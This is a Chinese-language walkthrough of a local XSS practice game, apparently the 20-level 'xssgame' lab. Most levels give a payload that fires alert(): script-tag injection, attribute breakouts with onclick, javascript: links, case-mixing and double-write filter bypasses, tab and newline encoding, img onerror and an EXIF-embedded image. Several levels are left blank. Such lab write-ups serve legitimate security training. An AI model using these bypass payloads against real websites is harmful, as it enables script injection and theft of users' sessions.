第一关:
没有过滤,直接构造payload过关:
http://127.0.0.1/xssgame/level1.php?name=test%3Cscript%3Ealert%28111%29%3C/script%3E
第二关:
输入之后观察页面源代码可以看到<>被转义
Payload:?keyword=test"><script>alert(111)</script>
第三关:
输入之后查看源代码发现输出位置都被转义:
然后通过'和//闭合,用' onclick=javascript:alert(1)//
第四关
闭合方式不同:
"onclick=javascript:alert(1)//
第五关:
使用onclick和script标签会被加上_过滤
使用a标签payload:"><a href="javascript:alert('a')">1</a >//
第六关:
Herf也被加上了_转义
可以大小写绕过"><a HRef="javascript:alert('a')">1</a >//
第七关:
被过滤:
双写绕过:
"><scriscriptpt>alert(111)</scscriptript>//
第八关:
发现有两处输出位置,第二处输出在了 a 标签 href 属性中,此处构造 payload,需要考 虑在 a 标签内,并绕过敏感字符。因为关键字符被做了替换,包括 script\herf\src\on\等, 大小写也不行。
这里尝试构造特殊的字符处理,就是在关键词中添加特殊的制表符,例如%0A,%09
注意是在url中,在浏览器中输入会进行编码
第九关
这一关多了对链接是否加http://的检查
Payload:javasc%0aript:alert(1)//http://aaa.com
第十关:
有隐藏的表单
也可以通过抓包修改页面源代码
第十一关:
方法相同
第十二关:
第十三关:
第十四关:
利用exiftool改变图片的exif信息
上传一个含有xss代码的图片触发xss
在读取的时候就会导致 XSS
第十五关:
level15.php?src='level1.php'level1.php?name=test<img src=1 onerror=alert(1)>'
第十六关:
?keyword=test<img%0Dsrc="1"%0Donerror=alert(1)>
第十七关:
第十八关:
第十九关:
第二十关: